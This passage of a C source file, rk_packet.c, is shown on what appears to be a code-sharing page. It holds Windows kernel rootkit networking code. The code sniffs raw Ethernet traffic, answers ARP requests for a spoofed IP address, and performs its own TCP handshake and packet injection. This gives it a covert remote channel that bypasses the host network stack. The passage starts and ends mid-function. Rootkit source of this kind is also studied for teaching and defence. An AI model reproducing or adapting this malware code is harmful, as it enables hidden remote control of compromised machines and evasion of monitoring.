📄 rk_packet.c
字号:
pp = ExAllocatePool(NonPagedPool,sizeof(struct pps));
memcpy(&(pp->eh), eh, sizeof(struct ether_header));
memcpy(&(pp->ea), ea, sizeof(struct ether_arp));
SendRaw((char *)pp, sizeof(struct pps)); //send raw packet over default interface
ExFreePool(pp);
ExFreePool(ea);
}
///////////////////////////////////////////////////////////////////
// send data to the client.
//
// When we send the data, we are playing with a globally stored
// packet buffer. This buffer can be accessed from multiple
// htreads so it MUST be spinlocked.
///////////////////////////////////////////////////////////////////
void ReturnDataToClient(char *theClientData, int theClientLen)
{
///////////////////////////////////////////////////////////////
// we use the packet that is stored globally
// we need to make a safe copy of the packet so we can send it
// over the wire. NEVER send the global packet directly -
// because the sniffer callback may be writing to it at the same
// time. We use the same spinlock in SendRaw as we do to
// protect this buffer - so calling SendRaw WHILE we are
// spinlocked will cause a DEADLOCK - and that is a Bad Thing.
// -Greg
///////////////////////////////////////////////////////////////
char aPacketToSend[1600]; //stack sow
int aPacketLen = 0;
KeAcquireSpinLock(&GlobalArraySpinLock, &gIrqL);
if( (0 != g_transaction_len)
&&
(g_transaction_len <= 1514))
{
int tcp_len;
char *theDataPayload;
int theNewTotalLen;
int hlen;
char _c[255];
hlen = ret_ih->ip_hl << 2; /* use this value in case there are IP options */
tcp_len = ret_tp->th_off * 4;
theDataPayload = (char *)(((char *)g_transaction_packet) + sizeof(struct ether_header) + hlen + tcp_len );
theNewTotalLen = theClientLen + ( sizeof(struct ether_header) + hlen + tcp_len );
// write data into the TCP payload and adjust sizes
memcpy(theDataPayload, theClientData, theClientLen);
ret_tp->th_seq = htonl(g_SYNC);
ret_tp->th_ack = htonl(g_ACK);
g_SYNC += theClientLen;
// set the ip total length field
ret_ih->ip_len = htons(theNewTotalLen - sizeof(struct ether_header));
sprintf(_c, "rootkit: packet bang sending data len %d\n", g_transaction_len);
DbgPrint(_c);
ret_tp->th_sum = 0;
ret_ih->ip_sum = 0;
// calculate checksums
tcp_sum( ret_ih, ret_tp, theNewTotalLen );
ret_ih->ip_sum = ip_sum ((unsigned short *) ret_ih, sizeof (struct iphdr) );
g_transaction_len = theNewTotalLen;
aPacketLen = theNewTotalLen;
memcpy(aPacketToSend, g_transaction_packet, 1600);
}
else
{
// no client connected?
}
KeReleaseSpinLock(&GlobalArraySpinLock, gIrqL);
// safe to call SendRaw outside of the SpinLock
if(aPacketLen) SendRaw(aPacketToSend, aPacketLen);
}
///////////////////////////////////////////////////////////////////
// perform TCP/IP transactions
///////////////////////////////////////////////////////////////////
void OnSessionPacket(const char* theData, int theLen)
{
char _c[255];
sprintf(_c, "rootkit: packet OnSessionPacket, len %d\n", theLen);
DbgPrint(_c);
if(theLen > sizeof(struct ether_header) + sizeof(struct iphdr))
{
struct ether_header *ep = (struct ether_header *)theData;
if(ep)
{
switch(ntohs(ep->h_proto))
{
case ETH_P_RARP:
case ETH_P_ARP:
sprintf(_c, "rootkit: packet ARP\n");
DbgPrint(_c);
// check for rootkit IP to make ARP response
if(theLen >= sizeof(struct ether_header) + sizeof(struct ether_arp))
{
struct ether_header *eh = (struct ether_header *)theData;
struct ether_arp *ea = (struct ether_arp *)( ((char *)theData) + sizeof(struct ether_header));
struct in_addr sender_addy;
struct in_addr target_addy;
memcpy(&sender_addy, ea->arp_spa, 4);
memcpy(&target_addy, ea->arp_tpa, 4);
if(ea->arp_op == htons(ARPOP_REQUEST))
{
sprintf(_c, "rootkit: packet ARP REQUEST\n");
DbgPrint(_c);
if(target_addy.S_un.S_addr == SPOOFED_IP)
{
// this is for the rootkit!
__int64 em;
DbgPrint("rootkit: packet responding to ARP\n");
memcpy(&em, ea->arp_sha, 6);
em &= 0x0000FFFFFFFFFFFF;
RespondToArp( target_addy, sender_addy, em);
}
}
}
break;
case ETH_P_IP:
sprintf(_c, "rootkit: packet IP");
DbgPrint(_c);
if(theLen >= sizeof(struct ether_header) + sizeof(struct iphdr))
{
struct iphdr *ih = (struct iphdr *) ( ((char *)ep) + sizeof(struct ether_header));
if(theLen > sizeof( struct ether_header) + sizeof( struct iphdr) + sizeof( struct tcphdr))
{
if(ih)
{
int hlen = ih->ip_hl << 2; /* use this value in case there are IP options */
short of = ntohs(ih->ip_off);
if( of & 0x01FF)
{
char _c[255];
sprintf(_c, "rootkit: packet IP fragmented, offset field: %u\n", of & 0x01FF);
DbgPrint(_c);
}
else if(IPPROTO_TCP == ih->ip_p)
{
struct tcphdr *tp = (struct tcphdr *) ( ((char *)ih) + hlen );
if(tp)
{
///////////////////////////////////////////////////////////////////
// we have a TCP packet
//
///////////////////////////////////////////////////////////////////
u_short src = ntohs(tp->th_sport);
u_short dst = ntohs(tp->th_dport);
int tcp_len = tp->th_off * 4;
char *theDataPayload = (char *)(((char *)theData) + sizeof(struct ether_header) + hlen + tcp_len );
int theTotalPayloadLEN = theLen - ( sizeof(struct ether_header) + hlen + tcp_len );
////////////////////////////////////////////////////////////////////
// some windoze TCP/IP stacks return garbage at the end of the
// packet, so check against the IP total length - use the lesser
// value.
////////////////////////////////////////////////////////////////////
int ip_given_len = htons(ih->ip_len);
ip_given_len -= (tcp_len + hlen);
if(theTotalPayloadLEN > ip_given_len)
theTotalPayloadLEN = ip_given_len;
sprintf(_c, "rootkit: packet tcp, src: %d, dst:%d total_len: %d\n", src, dst, theTotalPayloadLEN);
DbgPrint(_c);
if(0 == memcmp( &(ep->h_dest), demon_addr, 6))
{
/////////////////////////////////////
// this packet is destination rootkit
//
// keep a return packet in our static
// buffer.
/////////////////////////////////////
/////////////////////////////////////
// get the important TCP/IP values
/////////////////////////////////////
u_long dst_ip;
u_long src_ip;
__int64 es;
__int64 ed;
u_short dst_port = tp->th_sport;
u_short src_port = tp->th_dport;
memcpy( &dst_ip, &(ih->ip_src), 4);
memcpy( &src_ip, &(ih->ip_dst), 4);
memcpy( &es, &(ep->h_dest), 6);
memcpy( &ed, &(ep->h_source), 6);
/////////////////////////////////////
// create our return packet
/////////////////////////////////////
if(theLen <= 1514)
{
sprintf(_c, "rootkit: packet bang filling ret buffer\n");
DbgPrint(_c);
memcpy( g_transaction_packet, theData, theLen );
g_transaction_len = theLen;
ret_ep = (struct ether_header *)g_transaction_packet;
ret_ih = (struct iphdr *)((char *)ret_ep + ((char *)ih - (char *)ep));
ret_tp = (struct tcphdr *)((char *)ret_ih + ((char *)tp - (char *)ih));
}
/////////////////////////////////////
// copy improtant values into our return
// packet.
/////////////////////////////////////
sprintf(_c, "rootkit: packet bang DEADBEEF\n");
DbgPrint(_c);
memcpy( &(ret_ep->h_dest), &ed, 6);
memcpy( &(ret_ep->h_source), &es, 6);
memcpy(&(ret_ih->ip_dst), &dst_ip, 4);
memcpy(&(ret_ih->ip_src), &src_ip, 4);
ret_tp->th_dport = dst_port;
ret_tp->th_sport = src_port;
///////////////////////////////////////////////
// now we should be able to send data back to
// client.
///////////////////////////////////////////////
if(tp->th_flags == TH_SYN)
{
sprintf(_c, "rootkit: packet bang SYN\n");
DbgPrint(_c);
//////////////////////////////////////////
// SYN packet causes reset of our counters
// - respond SYNACK
// init the seq numbers
/////////////////////////
g_ACK = ntohl(tp->th_seq);
g_SYNC = 0;
ret_tp->th_flags = (TH_SYN | TH_ACK);
// increment ACK
g_ACK++;
ret_tp->th_ack = htonl(g_ACK);
ret_tp->th_seq = g_SYNC;
sprintf(_c, "rootkit: packet bang firing SYNACK\n");
DbgPrint(_c);
ret_tp->th_sum = 0;
ret_ih->ip_sum = 0;
// calculate checksums
tcp_sum( ret_ih, ret_tp, theLen );
ret_ih->ip_sum = ip_sum ((unsigned short *) ret_ih, sizeof (struct iphdr) );
SendRaw(g_transaction_packet, theLen);
//this is our prompt, an upside-down question-mark
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -